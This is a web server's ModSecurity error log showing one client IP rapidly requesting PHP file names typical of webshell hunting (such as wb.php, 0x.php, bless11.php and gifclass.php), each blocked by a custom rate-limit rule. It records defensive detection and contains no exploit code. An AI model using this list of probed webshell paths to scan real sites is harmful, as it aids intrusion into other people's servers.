[Sun Dec 21 19:57:58.727665 2025] [:error] [pid 59068:tid 59103] [client 20.2.26.82:1948] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aUfgxhmLyLqWUlrjwydrugAAAEI"]
[Sun Dec 21 19:57:59.055143 2025] [:error] [pid 59067:tid 59080] [client 20.2.26.82:2003] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aUfgx8tpsOP1NfIK_qI_1AAAAAY"]
[Sun Dec 21 19:57:59.371030 2025] [:error] [pid 59068:tid 59113] [client 20.2.26.82:2014] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aUfgxxmLyLqWUlrjwydruwAAAEw"]
[Sun Dec 21 19:57:59.697380 2025] [:error] [pid 59070:tid 59138] [client 20.2.26.82:16446] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wb.php"] [unique_id "aUfgx33dhXne9KX1kgIf0QAAAIo"]
[Sun Dec 21 19:58:00.064758 2025] [:error] [pid 59158:tid 59180] [client 20.2.26.82:2015] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wb.php"] [unique_id "aUfgyI7NvyNF8ab5VgUbKgAAANQ"]
[Sun Dec 21 19:58:00.372949 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:1924] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wb.php"] [unique_id "aUfgyI7NvyNF8ab5VgUbMAAAANg"]
[Sun Dec 21 19:58:00.625074 2025] [:error] [pid 59067:tid 59089] [client 20.2.26.82:16416] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wb.php"] [unique_id "aUfgyMtpsOP1NfIK_qI_2QAAAA8"]
[Sun Dec 21 19:58:00.959941 2025] [:error] [pid 59067:tid 59087] [client 20.2.26.82:1957] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUfgyMtpsOP1NfIK_qI_2wAAAA0"]
[Sun Dec 21 19:58:01.287332 2025] [:error] [pid 59070:tid 59137] [client 20.2.26.82:2028] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUfgyX3dhXne9KX1kgIf2AAAAIk"]
[Sun Dec 21 19:58:01.630204 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:16486] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUfgyctpsOP1NfIK_qI_3AAAAA4"]
[Sun Dec 21 19:58:01.975876 2025] [:error] [pid 59070:tid 59141] [client 20.2.26.82:2011] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUfgyX3dhXne9KX1kgIf2wAAAI0"]
[Sun Dec 21 19:58:02.332897 2025] [:error] [pid 59067:tid 59090] [client 20.2.26.82:16410] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aUfgystpsOP1NfIK_qI_4AAAABA"]
[Sun Dec 21 19:58:02.655414 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:2023] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aUfgyhmLyLqWUlrjwydrwwAAAFM"]
[Sun Dec 21 19:58:03.100571 2025] [:error] [pid 59070:tid 59132] [client 20.2.26.82:16469] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aUfgy33dhXne9KX1kgIf3QAAAIQ"]
[Sun Dec 21 19:58:03.442235 2025] [:error] [pid 59068:tid 59103] [client 20.2.26.82:16422] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aUfgyxmLyLqWUlrjwydrxgAAAEI"]
[Sun Dec 21 19:58:03.768790 2025] [:error] [pid 59158:tid 59180] [client 20.2.26.82:2027] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUfgy47NvyNF8ab5VgUbOwAAANQ"]
[Sun Dec 21 19:58:04.114130 2025] [:error] [pid 59158:tid 59175] [client 20.2.26.82:16415] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUfgzI7NvyNF8ab5VgUbPQAAAM8"]
[Sun Dec 21 19:58:04.446997 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:16479] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUfgzMtpsOP1NfIK_qI_5wAAAAU"]
[Sun Dec 21 19:58:04.783428 2025] [:error] [pid 59158:tid 59166] [client 20.2.26.82:16442] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUfgzI7NvyNF8ab5VgUbPgAAAMY"]
[Sun Dec 21 19:58:05.160982 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:2043] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aUfgzX3dhXne9KX1kgIf5QAAAJc"]
[Sun Dec 21 19:58:05.478488 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:1930] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aUfgzY7NvyNF8ab5VgUbQgAAAMQ"]
[Sun Dec 21 19:58:05.778887 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:16429] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aUfgzctpsOP1NfIK_qI_7AAAAA4"]
[Sun Dec 21 19:58:06.114764 2025] [:error] [pid 59067:tid 59085] [client 20.2.26.82:16495] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aUfgzstpsOP1NfIK_qI_7gAAAAs"]
[Sun Dec 21 19:58:06.472510 2025] [:error] [pid 59070:tid 59132] [client 20.2.26.82:16420] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUfgzn3dhXne9KX1kgIf7AAAAIQ"]
[Sun Dec 21 19:58:06.840612 2025] [:error] [pid 59070:tid 59130] [client 20.2.26.82:16438] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUfgzn3dhXne9KX1kgIf7gAAAII"]
[Sun Dec 21 19:58:07.148326 2025] [:error] [pid 59068:tid 59105] [client 20.2.26.82:16384] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUfgzxmLyLqWUlrjwydr0QAAAEQ"]
[Sun Dec 21 19:58:07.542005 2025] [:error] [pid 59070:tid 59144] [client 20.2.26.82:2007] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUfgz33dhXne9KX1kgIf9QAAAJA"]
[Sun Dec 21 19:58:07.919924 2025] [:error] [pid 59158:tid 59183] [client 20.2.26.82:16424] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indo.php"] [unique_id "aUfgz47NvyNF8ab5VgUbSwAAANc"]
[Sun Dec 21 19:58:08.271812 2025] [:error] [pid 59070:tid 59138] [client 20.2.26.82:16432] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indo.php"] [unique_id "aUfg0H3dhXne9KX1kgIf-AAAAIo"]
[Sun Dec 21 19:58:08.626672 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:2040] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indo.php"] [unique_id "aUfg0I7NvyNF8ab5VgUbTQAAAMQ"]
[Sun Dec 21 19:58:08.951276 2025] [:error] [pid 59068:tid 59113] [client 20.2.26.82:1894] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/indo.php"] [unique_id "aUfg0BmLyLqWUlrjwydr1AAAAEw"]
[Sun Dec 21 19:58:09.305566 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:1994] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/card.php"] [unique_id "aUfg0Y7NvyNF8ab5VgUbTwAAANI"]
[Sun Dec 21 19:58:09.606337 2025] [:error] [pid 59067:tid 59098] [client 20.2.26.82:1991] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/card.php"] [unique_id "aUfg0ctpsOP1NfIK_qI_9AAAABg"]
[Sun Dec 21 19:58:09.921045 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:1939] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/card.php"] [unique_id "aUfg0X3dhXne9KX1kgIgAQAAAJU"]
[Sun Dec 21 19:58:10.250343 2025] [:error] [pid 59070:tid 59145] [client 20.2.26.82:16444] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/card.php"] [unique_id "aUfg0n3dhXne9KX1kgIgAwAAAJE"]
[Sun Dec 21 19:58:10.616626 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:1951] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aUfg0hmLyLqWUlrjwydr3AAAAFQ"]
[Sun Dec 21 19:58:10.952784 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:16390] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aUfg0n3dhXne9KX1kgIgBwAAAI4"]
[Sun Dec 21 19:58:11.262971 2025] [:error] [pid 59158:tid 59168] [client 20.2.26.82:16443] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aUfg047NvyNF8ab5VgUbVgAAAMg"]
[Sun Dec 21 19:58:11.704897 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:1985] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aUfg033dhXne9KX1kgIgCQAAAJI"]
[Sun Dec 21 19:58:12.018493 2025] [:error] [pid 59068:tid 59113] [client 20.2.26.82:1961] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mnkalo.php"] [unique_id "aUfg1BmLyLqWUlrjwydr5wAAAEw"]
[Sun Dec 21 19:58:12.376059 2025] [:error] [pid 59068:tid 59117] [client 20.2.26.82:16426] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mnkalo.php"] [unique_id "aUfg1BmLyLqWUlrjwydr6wAAAFA"]
[Sun Dec 21 19:58:12.732927 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:1936] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mnkalo.php"] [unique_id "aUfg1MtpsOP1NfIK_qJAAQAAAA4"]
[Sun Dec 21 19:58:13.099661 2025] [:error] [pid 59158:tid 59177] [client 20.2.26.82:16503] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mnkalo.php"] [unique_id "aUfg1Y7NvyNF8ab5VgUbXAAAANE"]
[Sun Dec 21 19:58:13.401372 2025] [:error] [pid 59068:tid 59114] [client 20.2.26.82:2019] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUfg1RmLyLqWUlrjwydr7wAAAE0"]
[Sun Dec 21 19:58:13.730119 2025] [:error] [pid 59158:tid 59160] [client 20.2.26.82:1974] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUfg1Y7NvyNF8ab5VgUbXQAAAMA"]
[Sun Dec 21 19:58:14.074898 2025] [:error] [pid 59068:tid 59125] [client 20.2.26.82:16490] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUfg1hmLyLqWUlrjwydr8QAAAFg"]
[Sun Dec 21 19:58:14.387971 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:1987] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUfg1hmLyLqWUlrjwydr8wAAAFM"]
[Sun Dec 21 19:58:14.711003 2025] [:error] [pid 59158:tid 59180] [client 20.2.26.82:16417] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file3.php"] [unique_id "aUfg1o7NvyNF8ab5VgUbYwAAANQ"]
[Sun Dec 21 19:58:14.994269 2025] [:error] [pid 59070:tid 59129] [client 20.2.26.82:16418] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file3.php"] [unique_id "aUfg1n3dhXne9KX1kgIgGwAAAIE"]
[Sun Dec 21 19:58:15.318647 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:1973] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file3.php"] [unique_id "aUfg18tpsOP1NfIK_qJABQAAAAU"]
[Sun Dec 21 19:58:15.598046 2025] [:error] [pid 59158:tid 59175] [client 20.2.26.82:1931] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file3.php"] [unique_id "aUfg147NvyNF8ab5VgUbZwAAAM8"]
[Sun Dec 21 19:58:15.897662 2025] [:error] [pid 59158:tid 59165] [client 20.2.26.82:2030] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/031.php"] [unique_id "aUfg147NvyNF8ab5VgUbaQAAAMU"]
[Sun Dec 21 19:58:16.227094 2025] [:error] [pid 59158:tid 59160] [client 20.2.26.82:1952] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/031.php"] [unique_id "aUfg2I7NvyNF8ab5VgUbawAAAMA"]
[Sun Dec 21 19:58:16.638019 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:16474] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/031.php"] [unique_id "aUfg2H3dhXne9KX1kgIgJgAAAJc"]
[Sun Dec 21 19:58:31.115630 2025] [proxy_fcgi:error] [pid 59068:tid 59121] [client 20.2.26.82:1995] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 19:58:57.191513 2025] [:error] [pid 59068:tid 59115] [client 20.2.26.82:1995] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUfhARmLyLqWUlrjwydsjAAAAE4"]
[Sun Dec 21 19:58:57.495606 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:1982] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aUfhAX3dhXne9KX1kgIg1QAAAJU"]
